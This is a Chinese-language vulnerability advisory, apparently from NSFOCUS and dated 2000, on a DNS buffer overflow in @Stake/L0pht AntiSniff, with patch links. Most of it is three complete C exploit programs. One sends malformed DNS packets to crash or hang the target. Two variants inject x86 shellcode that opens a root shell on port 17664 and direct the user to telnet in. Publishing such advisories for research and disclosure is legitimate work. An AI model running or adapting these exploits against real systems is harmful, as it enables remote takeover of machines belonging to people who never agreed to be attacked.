安全研究

安全漏洞
AntiSniff DNS 缓冲区溢出漏洞

发布日期:2000-05-17
更新日期:2000-05-21

受影响系统:
@Stake Inc. AntiSniff 1.0.1
@Stake Inc. AntiSniff - Researchers Version 1.0
描述:
@Stake公司(l0pht)的反监听程序Antisniffer存在一个远程溢出漏洞。如果AntiSniff接收到
一个特殊的,不符合DNS协议格式的包时,将会导致AntiSniffer发生溢出。如果这个包中小心
的填充了一些代码,将导致远程用户在该系统上执行任意命令。

这种攻击的情况只有AntiSniff被配置成运行DNS 测试并且正在进行DNS测试的时候才可能发生。


<* 来源:Hugo Breton (bretonh@pgci.ca) *>



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/* dnslong.c by Hugo Breton (bretonh@pgci.ca)

   This program must be run in the DNS test phase of Sentinel and Anti Sniff.
   It illustrates how code can be run remotely on a Win98 machine running Anti
   Sniff.

   Suggested arguments are:
   
   "dnslong host 5 65" to send the Windows 98 version of Anti Sniff in an
   infinite loop.
   "dnslong host 2 255" to segfault the oBSD version of Anti Sniff.
   "dnslong host 1 255" to segfault Sentinel.
*/


#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

int main(int argc,char * * argv)
{
        char p[1024];
        int sock,i,j,k,len,labelnum,labellen;
        struct sockaddr_in sin;
        struct hostent * hoste;

        printf("dnslong.c by Hugo Breton (bretonh@pgci.ca)\n");

        if(argc<4)
        {
                printf("usage: %s host label_count label_length\n",argv[0]);
                return(0);
        }

        bzero((void *) &sin,sizeof(sin));
        sin.sin_family=AF_INET;
        sin.sin_port=htons(53);

        if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
        {
                if((hoste=gethostbyname(argv[1]))==NULL)
                {
                        printf("unknown host %s\n",argv[1]);
                        return(0);
                }
                
                bcopy(hoste->h_addr,&sin.sin_addr.s_addr,4);
        }

        labelnum=atoi(argv[2]);
        labellen=atoi(argv[3]);

        len=labelnum*(labellen+1)+5+12;

        if(len>1024)
        {
                printf("resulting packet will be too long\n");
                return(0);
        }

        bzero((void *) p,1024);
        * ((unsigned short *) (p+0))=htons(867-5309);
        * ((unsigned short *) (p+4))=htons(1);
        
        for(i=12,j=0;j<labelnum;j++)
        {
                * ((unsigned char *) (p+(i++)))=labellen;

                for(k=0;k<labellen;k++,i++)
                {
                        * ((unsigned char *) (p+i))=0x90;
                }
                
                * ((unsigned char *) (p+i-2))=0xeb; /* jmp $-2 */
                * ((unsigned char *) (p+i-1))=0xfe; /* just make it loop */
        }

        * ((unsigned char *) (p+269))=0x20;
        * ((unsigned char *) (p+270))=0xff;
        * ((unsigned char *) (p+271))=0x87;
        * ((unsigned char *) (p+272))=0x01; /* new EIP */

        * ((unsigned char *) (p+(i++)))=0;

        * ((unsigned short *) (p+i))=htons(1);
        * ((unsigned short *) (p+i+2))=htons(1);

        if((sock=socket(AF_INET,SOCK_DGRAM,0))==-1)
        {
                printf("unable to create UDP socket\n");
                return(0);
        }

        if(sendto(sock,p,len,0,(struct sockaddr *) &sin,sizeof(sin))==-1)
        {
                printf("unable to send packet\n");
                return(0);
        }

        printf("packet sent to host %s\n",argv[1]);

        return(0);
}


--------- l0phtl0phe.c -------

/* l0phtl0phe.c - antisniff exploit (1.02 included)
*
* -sc/teso
*
* gcc -o l0phtl0phe l0phtl0phe.c -Wall -lnet `libnet-config --defines`
*
* description:
* l0pht messed up the fix for their problem in antisniff by not regarding
* the type signedness properties of the char and int values used. this
* results in a cool method bypassing the too extra checks (length + strncat).
* some work on this topic have been done by mixter, (bad results on type
* casting), but it should be obvious to any security conscious programmers.
* i'm not stating that they aren't allowed errors, but they should fix it
* for sure if they're going to fix it at all.  -sc.
*
* greetings to all teso, lam3rz, hert, adm, w00w00 and lds ppl.
*/

#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <arpa/nameser.h>
#include <libnet.h>


#define    OFFSET        0xbffef9a0

unsigned int    build_xp (unsigned char *xp);


int
main (int argc, char *argv[])
{
    int        sock;        /* raw socket */
    u_long        src_ip,
            dst_ip;

    unsigned char    xpbuf[512];    /* this one gets complicated now */
    unsigned char    tpack[512];    /* paket buffer */
    unsigned int    pl_len;


    if (argc != 3) {
        printf ("usage: %s <source ip> <dest ip>\n\n", argv[0]);

        exit (EXIT_FAILURE);
    }

    sock = libnet_open_raw_sock (IPPROTO_RAW);
    if (sock == -1) {
        perror ("libnet_open_raw_sock");
        exit (EXIT_FAILURE);
    }

    src_ip  = libnet_name_resolve (argv[1], 0);
    dst_ip  = libnet_name_resolve (argv[2], 0);

    pl_len = build_xp (xpbuf);

    libnet_build_ip (UDP_H + DNS_H + pl_len, 0, 7350, 0, 2, IPPROTO_UDP,
        src_ip, dst_ip, NULL, 0, tpack);
    libnet_build_udp (libnet_get_prand (PRu16), 53, NULL, 0,
        tpack + IP_H);
    libnet_build_dns (libnet_get_prand (PRu16), 0x0000, 1, 0, 0, 0,
        xpbuf, pl_len, tpack + IP_H + UDP_H);
    libnet_do_checksum (tpack, IPPROTO_UDP, UDP_H + DNS_H + pl_len);

    /* they use "udp and dst port 53" as bpf, so we should have no problem
     */
    libnet_write_ip (sock, tpack, UDP_H + IP_H + DNS_H + pl_len);
    libnet_close_raw_sock (sock);

    printf ("exploitation succeeded.\n");
    printf ("try: \"telnet %s 17664\" now.\n", argv[2]);

    exit (EXIT_SUCCESS);
}


/* build_xp
*
* build exploit buffer into buffer pointed to by `xp'.
*/

unsigned int
build_xp (unsigned char *xp)
{




    /* yea yea ugly buffer ;-) */
    unsigned char    buf[] =
        "\x7c\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\xeb\x01"
        "\x7d\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\xeb\x08\x00"
        "\xfe\x10\x10\xff\xbf\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\xeb\x20"
        "\x90\x90\x90\x90"
        "\x3c\xf8\xfe\xbf\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

        /* portshell 17644 portshellcode by smiler & scut */
        "\x31\xc0\xb0\x02\xcd\x80\x09\xc0\x74\x06\x31\xc0"
        "\xfe\xc0\xcd\x80\xeb\x76\x5f\x89\x4f\x10\xfe\xc1"
        "\x89\x4f\x0c\xfe\xc1\x89\x4f\x08\x8d\x4f\x08\xfe"
        "\xc3\xb0\x66\xcd\x80\xfe\xc3\xc6\x47\x10\x10\x66"
        "\x89\x5f\x14\x88\x47\x08\xb0\x45\x66\x89\x47\x16"
        "\x89\x57\x18\x8d\x4f\x14\x89\x4f\x0c\x8d\x4f\x08"
        "\xb0\x66\xcd\x80\x89\x5f\x0c\xfe\xc3\xfe\xc3\xb0"
        "\x66\xcd\x80\x89\x57\x0c\x89\x57\x10\xfe\xc3\xb0"
        "\x66\xcd\x80\x31\xc9\x88\xc3\xb0\x3f\xcd\x80\xfe"
        "\xc1\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80\x31"
        "\xd2\x88\x57\x07\x89\x7f\x0c\x89\xfb\x8d\x4f\x0c"
        "\xb0\x0b\xcd\x80\x31\xc0\x99\x31\xdb\x31\xc9\xe8"
        "\x7e\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

    buf[287] = (OFFSET      ) & 0xff;
    buf[288] = (OFFSET >>  8) & 0xff;
    buf[289] = (OFFSET >> 16) & 0xff;
    buf[290] = (OFFSET >> 24) & 0xff;

    memcpy (xp, buf, sizeof (buf));

    return (sizeof (buf));;
}

--------- l0phtl0phe_1.c -------

/* l0phtl0phe.c - antisniff exploit (1-1-1 "second fixed version" included)
*
* -scut/teso
*
* gcc -o l0phtl0phe l0phtl0phe.c -Wall -lnet `libnet-config --defines`
*
* description:
* l0pht messed up the fix for their problem in antisniff by not regarding
* the type signedness properties of the char and int values used. this
* results in a cool method bypassing the too extra checks (length + strncat).
* some work on this topic have been done by mixter, (bad results on type
* casting), but it should be obvious to any security conscious programmers.
* i'm not stating that they aren't allowed errors, but they should fix it
* for sure if they're going to fix it at all.  -sc.
*
* 2nd version: script kiddie proof to avoid that "doesn't work" lamer claim.
*
* greetings to all teso, lam3rz, hert, adm, w00w00 and lsd ppl.
*/

#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <arpa/nameser.h>
#include <libnet.h>


#define    OFFSET        0xbffef9a0

unsigned int    build_xp (unsigned char *xp);


int
main (int argc, char *argv[])
{
    int        sock;        /* raw socket */
    u_long        src_ip,
            dst_ip;

    unsigned char    xpbuf[1024];    /* this one gets complicated now */
    unsigned char    tpack[2048];    /* paket buffer */
    unsigned int    pl_len;


    if (argc != 3) {
        printf ("usage: %s <source ip> <dest ip>\n\n", argv[0]);

        exit (EXIT_FAILURE);
    }

    sock = libnet_open_raw_sock (IPPROTO_RAW);
    if (sock == -1) {
        perror ("libnet_open_raw_sock");
        exit (EXIT_FAILURE);
    }

    src_ip  = libnet_name_resolve (argv[1], 0);
    dst_ip  = libnet_name_resolve (argv[2], 0);

    pl_len = build_xp (xpbuf);

    libnet_build_ip (UDP_H + DNS_H + pl_len, 0, 7350, 0, 2, IPPROTO_UDP,
        src_ip, dst_ip, NULL, 0, tpack);
    libnet_build_udp (libnet_get_prand (PRu16), 53, NULL, 0,
        tpack + IP_H);
    libnet_build_dns (libnet_get_prand (PRu16), 0x0000, 1, 0, 0, 0,
        xpbuf, pl_len, tpack + IP_H + UDP_H);
    libnet_do_checksum (tpack, IPPROTO_UDP, UDP_H + DNS_H + pl_len);

    /* they use "udp and dst port 53" as bpf, so we should have no problem
     */
    libnet_write_ip (sock, tpack, UDP_H + IP_H + DNS_H + pl_len);
    libnet_close_raw_sock (sock);

    printf ("exploitation succeeded.\n");
    printf ("try: \"telnet %s 17664\" now.\n", argv[2]);

    exit (EXIT_SUCCESS);
}


/* build_xp
*
* build exploit buffer into buffer pointed to by `xp'.
*/

unsigned int
build_xp (unsigned char *xp)
{
    int        i;
    unsigned char    buf[1024];
    unsigned char    shellcode[] =
        /* portshell 17644 portshellcode by smiler & scut */
        "\x31\xc0\xb0\x02\xcd\x80\x09\xc0\x74\x06\x31\xc0"
        "\xfe\xc0\xcd\x80\xeb\x76\x5f\x89\x4f\x10\xfe\xc1"
        "\x89\x4f\x0c\xfe\xc1\x89\x4f\x08\x8d\x4f\x08\xfe"
        "\xc3\xb0\x66\xcd\x80\xfe\xc3\xc6\x47\x10\x10\x66"
        "\x89\x5f\x14\x88\x47\x08\xb0\x45\x66\x89\x47\x16"
        "\x89\x57\x18\x8d\x4f\x14\x89\x4f\x0c\x8d\x4f\x08"
        "\xb0\x66\xcd\x80\x89\x5f\x0c\xfe\xc3\xfe\xc3\xb0"
        "\x66\xcd\x80\x89\x57\x0c\x89\x57\x10\xfe\xc3\xb0"
        "\x66\xcd\x80\x31\xc9\x88\xc3\xb0\x3f\xcd\x80\xfe"
        "\xc1\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80\x31"
        "\xd2\x88\x57\x07\x89\x7f\x0c\x89\xfb\x8d\x4f\x0c"
        "\xb0\x0b\xcd\x80\x31\xc0\x99\x31\xdb\x31\xc9\xe8"
        "\x7e\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

    unsigned char    head[] =
        "\x07-7350-\x00\xfe";

    memcpy (buf, head, 9);
    for (i = 9 ; i < (sizeof (buf) - strlen (shellcode)) ; ++i)
        buf[i] = '\x90';
    memcpy (buf + sizeof (buf) - strlen (shellcode), shellcode,
        strlen (shellcode));

    buf[272] = '\xeb';
    buf[273] = '\x08';
    buf[274] = (OFFSET      ) & 0xff;
    buf[275] = (OFFSET >>  8) & 0xff;
    buf[276] = (OFFSET >> 16) & 0xff;
    buf[277] = (OFFSET >> 24) & 0xff;

    memcpy (xp, buf, sizeof (buf));

    return (sizeof (buf));;
}








建议:
下载最新的AntiSniff版本,下载地址:

@Stake Inc. AntiSniff 1.0.1:

@Stake Inc. upgrade Version 1.02 AntiSniff - Windows version
http://www.l0pht.com/antisniff/dist/as-102.zip

@Stake Inc. AntiSniff - Researchers Version 1.0:

@Stake Inc. upgrade Researchers Version Upgrade
http://www.l0pht.com/antisniff/dist/anti_sniff_researchv1-1.tar.gz



浏览次数:7946
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障